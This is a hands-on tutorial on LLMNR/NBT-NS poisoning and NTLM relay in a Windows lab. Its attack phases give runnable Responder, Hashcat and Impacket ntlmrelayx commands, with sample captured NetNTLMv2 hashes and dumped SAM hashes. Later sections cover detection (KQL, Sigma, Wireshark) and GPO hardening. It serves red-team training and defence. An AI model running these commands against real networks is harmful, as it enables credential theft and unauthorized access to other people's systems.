Hands-On Tutorial: Advanced LLMNR/NBT-NS Poisoning & NTLM Relay Masterclass

Executive Summary

Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) remain active on default Windows client and server installations for legacy fallback compatibility. When legitimate DNS name resolution fails, Windows clients broadcast unauthenticated requests over local subnets. Attacking these protocols (MITRE ATT&CK T1557.001) allows penetration testers and red teams to capture NetNTLMv2 challenge-response hashes or relay them directly to unauthenticated SMB, LDAP, and HTTP services.

[Victim Workstation]  ---- (1. DNS Fails: \\filesrver) ----> [Multicast LLMNR Query]
         |                                                           |
         | <--- (2. Rogue Response: "I am filesrver") --------------+ [Attacker Kali]
         |                                                           | (Responder)
         + ---- (3. Sends NetNTLMv2 Challenge-Response Auth) --------+
                                                                     |
                                             +-----------------------+-----------------------+
                                             |                                               |
                                             v                                               v
                             [Path A: Offline Cracking]                      [Path B: NTLM Relay]
                             Hashcat -m 5600 + Rules                         ntlmrelayx -> Target SMB/LDAP

This hands-on masterclass delivers step-by-step instructions for establishing an isolated attack testing lab, mapping SMB signing postures, capturing/cracking NetNTLMv2 hashes, executing cross-protocol NTLM relays, and writing enterprise detection rules (Sigma/KQL) to mitigate these risks.

Table of Contents

• Learning Objectives & Prerequisites
• Lab Topology & Infrastructure Setup
• Phase 1: Protocol Mechanics & Network Reconnaissance
  • LLMNR/NBT-NS Fallback Architecture
  • Scanning SMB Signing Requirements with Nmap
• Phase 2: Poisoning & Credential Harvesting with Responder
  • Configuring Responder.conf
  • Executing LLMNR/NBT-NS/WPAD Poisoning
  • Analyzing NetNTLMv2 Hash Structure
• Phase 3: High-Performance Offline Hash Cracking
• Phase 4: Advanced NTLM Relaying with Impacket ntlmrelayx
• Troubleshooting & Failure Modes
• Blue Team Detection: Wireshark, KQL & Sigma Rules
• Defensive Remediation & GPO Hardening

Learning Objectives & Prerequisites

Learning Objectives

1. Network Reconnaissance: Identify unauthenticated broadcast name resolution protocols and map SMB signing requirements across subnets.
2. Credential Capture: Utilize Responder to intercept NetNTLMv2 challenge-response hashes safely in an authorized environment.
3. Hash Recovery: Configure Hashcat with optimized rule engines (OneRuleToRuleThemAll.rule) for NetNTLMv2 cracking.
4. NTLM Relaying: Execute real-time authentication relay attacks using Impacket's ntlmrelayx for SAM database dumping, command execution, and domain escalation.
5. Detection & Defense: Implement Group Policy Objects (GPOs), SMB Signing mandates, and SIEM rules to eliminate broadcast vulnerabilities.

Environment Prerequisites

• Attacker Host: Kali Linux (or Arch/BlackArch Linux) with Python 3.11+, impacket, responder, nmap, and hashcat.
• Target Network: Isolated L2 virtual network (Host-Only or Internal Bridge).
• Victim Hosts:
  • DC01.corp.local (Windows Server 2022 Domain Controller - 192.168.56.10)
  • WORKSTATION01 (Windows 11 Enterprise - 192.168.56.101)
  • WORKSTATION02 (Windows 10 Enterprise - 192.168.56.102)
• Authorization Disclaimer: All activities must occur inside isolated lab environments or explicitly authorized penetration testing engagements.

Lab Topology & Infrastructure Setup

                     +----------------------------------+
                     | Kali Linux Attacker              |
                     | IP: 192.168.56.20                |
                     | Tools: Responder, ntlmrelayx     |
                     +----------------------------------+
                                      |
         ================== Isolated L2 Switch ==================
         |                            |                         |
         v                            v                         v
+------------------+        +------------------+      +-------------------+
| DC01 (Windows    |        | WORKSTATION01    |      | WORKSTATION02     |
| Server 2022)     |        | (Windows 11)     |      | (Windows 10)      |
| IP: 192.168.56.10|        | IP: 192.168.56.101      | IP: 192.168.56.102|
+------------------+        +------------------+      +-------------------+

Phase 1: Protocol Mechanics & Network Reconnaissance

LLMNR/NBT-NS Fallback Architecture

When a Windows client connects to a UNC path or hostname (e.g., \\nonexistent-share\data), DNS resolution follows this order:

1. Local Hosts File: Evaluates C:\Windows\System32\drivers\etc\hosts.
2. Local DNS Cache: Checks local resolver cache (ipconfig /displaydns).
3. Primary / Secondary DNS Server: Sends unicast UDP 53 query to configured DNS server.
4. LLMNR (Link-Local Multicast Name Resolution): If DNS returns NXDOMAIN, broadcasts UDP 5355 across the local subnet (224.0.0.252).
5. NBT-NS (NetBIOS Name Service): If LLMNR yields no response, broadcasts UDP 137 over NetBIOS.

Scanning SMB Signing Requirements with Nmap

Before attempting NTLM relaying, map target hosts to verify whether SMB Signing is required:

nmap -sS -p 445 --script smb2-security-mode 192.168.56.0/24 -oN smb_signing_audit.txt

Understanding Nmap Results

Nmap scan report for WORKSTATION02 (192.168.56.102)
PORT    STATE SERVICE
445/tcp open  microsoft-ds
Host script results:
| smb2-security-mode: 
|_    Message signing enabled but not required  <-- VULNERABLE TO SMB RELAY

Nmap scan report for DC01 (192.168.56.10)
Host script results:
| smb2-security-mode: 
|_    Message signing enabled and required      <-- NOT VULNERABLE TO DIRECT SMB RELAY

Phase 2: Poisoning & Credential Harvesting with Responder

Configuring Responder.conf

Edit /etc/responder/Responder.conf:

[Responder Core]
LLMNR = On
NBTNS = On
MDNS = On
DHCP = Off

HTTP = On
HTTPS = On
SMB = On
SQL = On
FTP = On
LDAP = On

Executing LLMNR/NBT-NS/WPAD Poisoning

Run Responder bound to your active network interface:

sudo responder -I eth0 -rdwv

On WORKSTATION01 (192.168.56.101), simulate a typo in Windows File Explorer:

net use \\storageserver01\share

Responder intercepts the multicast query and prompts Windows for authentication:

[+] Intercepted Hash:
[SMB] NTLMv2-SSP Client   : 192.168.56.101
[SMB] NTLMv2-SSP Username : CORP\jdoe
[SMB] NTLMv2-SSP Hash     : jdoe::CORP:1122334455667788:AABBCCDDEEFF00112233445566778899:0101000000000000...

Analyzing NetNTLMv2 Hash Structure

Format: Username : Domain : Server Challenge : NT Proof Response : Blob Data

• Username: jdoe
• Domain: CORP
• Server Challenge: 1122334455667788
• NT Proof HMAC: HMAC-MD5 computed over the server challenge + client blob using the user's NT Hash.

Phase 3: High-Performance Offline Hash Cracking

Store captured hashes in netntlmv2_hashes.txt and execute Hashcat using mode 5600:

hashcat -m 5600 netntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/OneRuleToRuleThemAll.rule --force

Phase 4: Advanced NTLM Relaying with Impacket ntlmrelayx

Step 1: Disable SMB & HTTP Servers in Responder

In /etc/responder/Responder.conf:

[Responder Core]
SMB = Off
HTTP = Off

Step 2: Create Target List (targets.txt)

192.168.56.102
192.168.56.103

Step 3: Run the Relay

# Terminal 1: Launch Responder for poisoning
sudo responder -I eth0 -rv

# Terminal 2: Launch ntlmrelayx
sudo impacket-ntlmrelayx -tf targets.txt -smb2support

When authentication is relayed to WORKSTATION02 (192.168.56.102), ntlmrelayx dumps local SAM hashes:

[+] Authenticating against 192.168.56.102 as CORP\jdoe SUCCEED
[+] Target system bootKey: 0xa9b2c3...
[+] Dumping local SAM database hashes...
Administrator:500:aad3b435b51404ee...:31d6cfe0d16ae931b73c59d7e0c089c0:::

Troubleshooting & Failure Modes

1. Port 445 / 80 Bind Errors (Address already in use): Run sudo systemctl stop smbd nmbd apache2 systemd-resolved.
2. Relay Fails with STATUS_ACCESS_DENIED: Relayed user does not possess local administrative rights on target host. Expand target array.
3. Relay Fails with STATUS_LOGON_FAILURE: Target enforces SMB signing. Verify targets via Nmap first. Pivot relay traffic to HTTP/LDAP.

Blue Team Detection: Wireshark, KQL & Sigma Rules

Wireshark Filter

udp.port == 5355 && dns.flags.response == 1
dns.qry.name && ip.src == 192.168.56.20

Microsoft Sentinel KQL Detection

SecurityEvent
| where EventID == 4624
| where LogonType == 3
| where AuthenticationPackageName == "NTLM"
| where NtlmPackageName == "NTLM V2"
| where WorkstationName !startswith "CORP-"
| summarize Count=count() by Account, Computer, WorkstationName, IpAddress, bin(TimeGenerated, 15m)
| order by Count desc

Sigma Rule: Detect Responder Activity

title: Potential LLMNR/NBT-NS Poisoning Interception
id: f3a8d9b2-1c4e-4f7a-9e3d-8b2a1c4d5e6f
status: production
description: Detects rapid NTLM authentication events from non-domain-joined source IPs.
author: Syed Zada Abrar (Andrax Pentester)
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4776
    PackageName: 'MICROSOFT_AUTHENTICATION_PACKAGE_V1_0'
  filter:
    Workstation|startswith: 'CORP-'
  condition: selection and not filter
level: high

Defensive Remediation & GPO Hardening

1. Disable LLMNR via Group Policy (GPO)

Computer Configuration -> Administrative Templates -> Network -> DNS Client -> Turn off multicast name resolution -> Enabled.

New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" -Name "EnableMulticast" -Value 0 -PropertyType DWORD -Force

2. Disable NetBIOS over TCP/IP (NBT-NS)

ncpa.cpl -> Adapter -> Properties -> IPv4 Properties -> Advanced -> NetBIOS -> Disable NetBIOS over TCP/IP.

3. Mandate SMB Signing

Computer Configuration -> Windows Settings -> Security Settings -> Local Policies -> Security Options

• Microsoft network server: Digitally sign communications (always) -> Enabled
• Microsoft network client: Digitally sign communications (always) -> Enabled

Key Takeaways

1. Protocol Default Vulnerabilities: Unauthenticated broadcast protocols (LLMNR/NBT-NS) expose credentials on flat networks.
2. Relaying vs. Cracking: NTLM relaying circumvents password complexity entirely by passing authentication to un-signed targets.
3. Hardening Standard: Disable LLMNR/NBT-NS via GPO and enforce mandatory SMB Signing across all enterprise endpoints.

Author: Syed Zada Abrar — Lead Cybersecurity Researcher & Founder of Andrax Pentester.
All tutorial materials are strictly dedicated to authorized defensive testing and security research.